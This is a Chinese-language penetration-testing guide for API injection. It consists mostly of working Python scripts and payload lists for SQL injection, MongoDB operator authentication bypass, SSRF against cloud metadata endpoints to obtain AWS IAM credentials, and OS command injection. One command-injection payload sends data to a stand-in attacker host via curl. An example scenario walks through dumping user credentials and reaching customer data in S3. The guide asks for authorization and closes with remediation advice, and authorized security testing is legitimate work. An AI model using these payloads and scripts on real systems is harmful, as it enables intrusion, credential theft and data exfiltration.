exploiting-api-injection-vulnerabilities

利用 API 注入漏洞

适用场景

• 测试接受用户输入用于数据库查询、系统命令或外部请求的 API 端点
• 评估与 SQL 数据库、NoSQL 存储（MongoDB、Redis）、LDAP 目录或外部 URL 交互的 API
• 评估所有 API 端点的输入验证和参数化查询使用情况
• 测试 API 参数接受触发服务器端请求的 URL 或主机名时的 SSRF 漏洞
• 识别请求头、路径参数、查询字符串以及 JSON/XML 请求体中的注入点

不适用于：未获得书面授权的情况。注入测试可能修改或破坏数据并危害后端系统。

前置条件

• 书面授权，注明目标 API 和范围内的后端系统
• Python 3.10+，安装 requests 库
• SQLMap，用于自动化 SQL 注入检测和利用
• Burp Suite Professional，具备主动扫描能力
• 了解后端数据库技术（MySQL、PostgreSQL、MongoDB、Redis）
• 隔离的测试环境，避免生产数据损坏

工作流程

步骤 1：注入点识别

import requests
import json
import urllib.parse

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# 映射 API 中所有输入点
injection_points = [
    # 路径参数
    {"type": "path", "method": "GET", "url": "/users/{input}"},
    {"type": "path", "method": "GET", "url": "/products/{input}"},
    {"type": "path", "method": "GET", "url": "/orders/{input}"},
    # 查询参数
    {"type": "query", "method": "GET", "url": "/users?search={input}"},
    {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
    {"type": "query", "method": "GET", "url": "/products?category={input}"},
    {"type": "query", "method": "GET", "url": "/search?q={input}"},
    # JSON 请求体参数
    {"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
    {"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
    {"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
    {"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
    # 请求头参数
    {"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]

步骤 2：SQL 注入测试

# 不同上下文的 SQL 注入载荷
SQL_PAYLOADS = {
    "detection": [
        "'",
        "\"",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "1 OR 1=1",
        "' OR 1=1--",
        "' UNION SELECT NULL--",
        "1; WAITFOR DELAY '0:0:5'--",
        "1' AND SLEEP(5)--",
        "1)) OR 1=1--",
    ],
    "union_based": [
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT 1,2,3--",
        "' UNION SELECT username,password,NULL FROM users--",
        "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
    ],
    "error_based": [
        "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    ],
    "time_based": [
        "' AND SLEEP(5)--",
        "'; WAITFOR DELAY '0:0:5'--",
        "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
        "1; SELECT pg_sleep(5)--",
    ],
}

import time

def test_sql_injection(endpoint, param_name, param_type="query"):
    """测试参数是否存在 SQL 注入。"""
    results = []

    for category, payloads in SQL_PAYLOADS.items():
        for payload in payloads:
            start = time.time()

            if param_type == "query":
                url = f"{BASE_URL}{endpoint}"
                resp = requests.get(url, headers=headers,
                                  params={param_name: payload}, timeout=15)
            elif param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: payload}, timeout=15)
            elif param_type == "path":
                url = f"{BASE_URL}{endpoint.replace('{input}', urllib.parse.quote(payload))}"
                resp = requests.get(url, headers=headers, timeout=15)

            elapsed = time.time() - start

            # 检查 SQL 注入指标
            indicators = {
                "error": any(kw in resp.text.lower() for kw in [
                    "sql syntax", "mysql", "postgresql", "sqlite",
                    "oracle", "unterminated", "syntax error",
                    "unexpected end", "quoted string", "invalid input"
                ]),
                "time_based": elapsed > 4.5 and "SLEEP" in payload.upper(),
                "union_data": resp.status_code == 200 and len(resp.text) > 0
                              and "UNION" in payload.upper()
                              and resp.text != requests.get(f"{BASE_URL}{endpoint}",
                                  headers=headers, params={param_name: "test"}).text,
            }

            if any(indicators.values()):
                triggered = [k for k, v in indicators.items() if v]
                results.append({
                    "endpoint": endpoint,
                    "param": param_name,
                    "category": category,
                    "payload": payload,
                    "indicators": triggered,
                    "status": resp.status_code,
                    "time": f"{elapsed:.1f}s"
                })
                print(f"[SQLi] {endpoint} ({param_name}): {category} - {triggered}")

    return results

# 测试搜索参数
test_sql_injection("/search", "q", "query")
test_sql_injection("/products", "category", "query")
test_sql_injection("/auth/login", "username", "body")

步骤 3：NoSQL 注入测试

# NoSQL 注入载荷（以 MongoDB 为主）
NOSQL_PAYLOADS = {
    "auth_bypass": [
        # JSON 请求体中的 MongoDB 操作符注入
        {"username": {"$ne": ""}, "password": {"$ne": ""}},
        {"username": {"$gt": ""}, "password": {"$gt": ""}},
        {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
        {"username": "admin", "password": {"$ne": "wrongpassword"}},
        {"username": {"$in": ["admin", "root", "administrator"]}, "password": {"$ne": ""}},
    ],
    "data_extraction": [
        {"username": {"$regex": "^a"}, "password": {"$ne": ""}},  # 枚举第一个字符
        {"username": {"$where": "this.username.length > 0"}, "password": {"$ne": ""}},
    ],
    "operator_injection_string": [
        # 当输入为字符串字段时
        '{"$gt": ""}',
        '{"$ne": null}',
        '{"$regex": ".*"}',
        '{"$where": "1==1"}',
    ],
}

def test_nosql_injection(endpoint, method="POST"):
    """测试 MongoDB NoSQL 注入。"""
    results = []

    # 测试 JSON 请求体操作符注入
    for category, payloads in NOSQL_PAYLOADS.items():
        for payload in payloads:
            if isinstance(payload, dict):
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers, json=payload, timeout=10)
            else:
                # 作为字符串参数测试
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={"username": json.loads(payload), "password": "test"},
                                   timeout=10)

            if resp.status_code == 200:
                resp_data = resp.json() if resp.text else {}
                if "token" in str(resp_data) or "user" in str(resp_data):
                    results.append({
                        "endpoint": endpoint,
                        "category": category,
                        "payload": str(payload)[:100],
                        "authenticated": True,
                        "response": str(resp_data)[:200]
                    })
                    print(f"[NoSQLi] {endpoint}: {category} - 认证绕过成功")

    return results

nosql_results = test_nosql_injection("/auth/login")

步骤 4：服务端请求伪造（SSRF）测试

# 针对内部服务的 SSRF 载荷
SSRF_PAYLOADS = {
    "cloud_metadata": [
        "http://169.254.169.254/latest/meta-data/",                           # AWS IMDS
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/",  # AWS IAM 凭据
        "http://metadata.google.internal/computeMetadata/v1/",                # GCP
        "http://169.254.169.254/metadata/instance?api-version=2021-02-01",    # Azure
    ],
    "internal_services": [
        "http://localhost:8080/",
        "http://127.0.0.1:6379/",           # Redis
        "http://127.0.0.1:9200/",           # Elasticsearch
        "http://127.0.0.1:27017/",          # MongoDB
        "http://internal-api.local:8080/",
        "http://10.0.0.1/admin/",
    ],
    "protocol_smuggling": [
        "gopher://127.0.0.1:6379/_SET%20pwned%20true",
        "file:///etc/passwd",
        "dict://127.0.0.1:6379/INFO",
    ],
    "bypass_filters": [
        "http://0x7f000001/",                # 127.0.0.1 的十六进制 IP
        "http://2130706433/",                # 127.0.0.1 的十进制 IP
        "http://0177.0.0.1/",               # 八进制
        "http://127.0.0.1.nip.io/",         # DNS 重绑定
        "http://[::1]/",                     # IPv6 本地地址
        "http://127.1/",                     # 缩写 IP
        "http://0/",                         # 零
    ],
}

def test_ssrf(endpoint, url_param, method="POST"):
    """测试接受 URL 参数中的 SSRF 漏洞。"""
    results = []

    for category, payloads in SSRF_PAYLOADS.items():
        for payload in payloads:
            try:
                if method == "POST":
                    resp = requests.post(f"{BASE_URL}{endpoint}",
                                       headers=headers,
                                       json={url_param: payload}, timeout=10)
                else:
                    resp = requests.get(f"{BASE_URL}{endpoint}",
                                      headers=headers,
                                      params={url_param: payload}, timeout=10)

                # 检查 SSRF 指标
                if resp.status_code == 200 and len(resp.text) > 50:
                    # 检查云元数据
                    if any(kw in resp.text for kw in ["ami-id", "instance-id",
                                                       "iam", "AccessKeyId",
                                                       "root:x:", "computeMetadata"]):
                        results.append({
                            "endpoint": endpoint,
                            "category": category,
                            "payload": payload,
                            "severity": "critical",
                            "data": resp.text[:300]
                        })
                        print(f"[SSRF-严重] {endpoint}: {category} - {payload}")
                    else:
                        results.append({
                            "endpoint": endpoint,
                            "category": category,
                            "payload": payload,
                            "severity": "high",
                            "data": resp.text[:100]
                        })
                        print(f"[SSRF] {endpoint}: {category} - {payload} -> {resp.status_code}")
            except requests.exceptions.RequestException:
                pass

    return results

# 测试接受 URL 的端点
ssrf_results = test_ssrf("/webhook/test", "url")
ssrf_results.extend(test_ssrf("/import", "source_url"))
ssrf_results.extend(test_ssrf("/proxy", "target", "GET"))

步骤 5：操作系统命令注入测试

# 命令注入载荷
CMD_PAYLOADS = {
    "detection": [
        "; sleep 5",
        "| sleep 5",
        "` sleep 5 `",
        "$( sleep 5 )",
        "\n sleep 5",
        "& ping -c 5 127.0.0.1 &",
    ],
    "data_exfil": [
        "; cat /etc/passwd",
        "| id",
        "`whoami`",
        "$(uname -a)",
        "; curl http://attacker-controlled-server.com/$(whoami)",
    ],
    "windows": [
        "& ping -n 5 127.0.0.1 &",
        "| dir",
        "; type C:\\Windows\\System32\\drivers\\etc\\hosts",
        "& timeout /t 5 &",
    ],
}

def test_command_injection(endpoint, param_name, param_type="body"):
    """测试操作系统命令注入。"""
    results = []

    for category, payloads in CMD_PAYLOADS.items():
        for payload in payloads:
            start = time.time()
            prefixed_payload = f"validvalue{payload}"

            if param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: prefixed_payload}, timeout=15)
            else:
                resp = requests.get(f"{BASE_URL}{endpoint}",
                                  headers=headers,
                                  params={param_name: prefixed_payload}, timeout=15)

            elapsed = time.time() - start

            indicators = {
                "time_based": elapsed > 4.5 and "sleep" in payload.lower(),
                "output": any(kw in resp.text for kw in [
                    "root:", "uid=", "Linux", "Windows", "bin/bash",
                    "Directory of", "Volume Serial"
                ]),
            }

            if any(indicators.values()):
                results.append({
                    "endpoint": endpoint,
                    "param": param_name,
                    "category": category,
                    "payload": payload,
                    "indicators": [k for k, v in indicators.items() if v],
                })
                print(f"[命令注入] {endpoint} ({param_name}): {payload}")

    return results

# 测试文件处理和系统交互端点
test_command_injection("/export", "filename")
test_command_injection("/convert", "input_file")
test_command_injection("/ping", "host", "query")

核心概念

术语	定义
SQL 注入（SQL Injection）	将 SQL 代码插入被拼接到数据库查询中的 API 参数，实现数据提取或修改
NoSQL 注入（NoSQL Injection）	将 NoSQL 操作符（$ne、$gt、$regex）注入 MongoDB 查询，或通过 API 参数操纵 Redis/Elasticsearch 查询
SSRF	服务端请求伪造（OWASP API7:2023）- 强迫服务器向攻击者指定的目标（包括内部服务）发出 HTTP 请求
命令注入（Command Injection）	通过传递给 Shell 执行函数（exec、system、popen）的 API 参数注入操作系统命令
参数化查询（Parameterized Queries）	使用带绑定参数的预编译语句，通过将代码与数据分离来防止 SQL 注入
输入验证（Input Validation）	在处理前，服务器端验证用户输入是否符合预期格式、类型、长度和字符集

工具与系统

• SQLMap：自动化 SQL 注入检测和利用工具，支持所有主要数据库类型
• Burp Suite Professional：主动扫描器，可检测 SQL、NoSQL、SSRF 和命令注入
• NoSQLMap：自动化 NoSQL 注入检测和利用工具，专注于 MongoDB
• SSRFmap：SSRF 检测和利用框架，带有云元数据提取模块
• Commix：自动化操作系统命令注入检测和利用工具

常见场景

场景：电商 API 注入评估

场景背景：某电商 API 使用 PostgreSQL 存储商品目录，MongoDB 存储用户会话，并接受 webhook URL 用于订单通知。API 使用 Node.js/Express 构建。

方法：

1. 使用 SQL 载荷测试商品搜索端点 GET /api/v1/products?search=test - 发现基于错误的 SQL 注入，泄露 PostgreSQL 14 后端信息
2. 利用联合查询 SQL 注入提取所有表名，然后从 users 表转储用户凭据
3. 使用 NoSQL 操作符测试登录端点 - {"username":{"$ne":""},"password":{"$ne":""}} 绕过认证
4. 测试 webhook URL 端点的 SSRF - POST /api/v1/webhooks {"url":"http://169.254.169.254/latest/meta-data/"} 返回 AWS 实例元数据
5. 通过 SSRF 提取 AWS IAM 角色凭据，获取包含客户数据的 S3 存储桶访问权限
6. 测试文件导出端点的命令注入 - GET /api/v1/export?filename=report;cat /etc/passwd 返回 passwd 文件内容

常见陷阱：

• 当后端使用多种数据存储（SQL、NoSQL、Redis、Elasticsearch）时，只测试 SQL 注入
• 忽略 HTTP 请求头中的注入点（User-Agent、Referer、X-Forwarded-For），这些头可能被记录到 SQL 数据库
• 当初始载荷被 URL 验证阻止时，不测试 SSRF 绕过技术
• 假设 JSON API 请求体不受 SQL 注入影响（JSON 值仍然会被拼接到查询中）
• 当错误消息被抑制时，不测试基于时间的注入

输出格式

## 发现：商品搜索 API 中的 SQL 注入允许完全数据库访问

**ID**: API-INJ-001
**严重性**: 严重（CVSS 9.8）
**OWASP API**: API8:2023 - 安全错误配置 / 注入
**受影响端点**:
  - GET /api/v1/products?search= (SQL 注入)
  - POST /api/v1/auth/login (NoSQL 注入)
  - POST /api/v1/webhooks (SSRF)

**描述**:
商品搜索 API 在未使用参数化的情况下，将用户输入直接拼接到
PostgreSQL 查询中。攻击者可以提取所有数据库内容，包括用户凭据、
支付信息和管理员密钥。此外，登录端点存在 MongoDB NoSQL 操作符
注入漏洞，webhook 端点允许 SSRF 访问内部服务和云元数据。

**影响**:
- 通过 SQL 注入实现完全数据库读写访问
- 通过 NoSQL 操作符注入绕过认证
- 通过 SSRF 访问实例元数据窃取 AWS IAM 凭据
- 通过 SQL 注入堆叠查询实现潜在远程代码执行

**修复建议**:
1. 对所有数据库操作使用参数化查询
2. 验证并清理 JSON 输入中的 NoSQL 操作符字符
3. 对 webhook 和回调 URL 实施 URL 白名单
4. 从应用服务器封锁对云元数据端点（169.254.169.254）的访问
5. 使用带参数化查询的 ORM，禁用原始查询方法
6. 实施 WAF 规则用于常见注入模式的纵深防御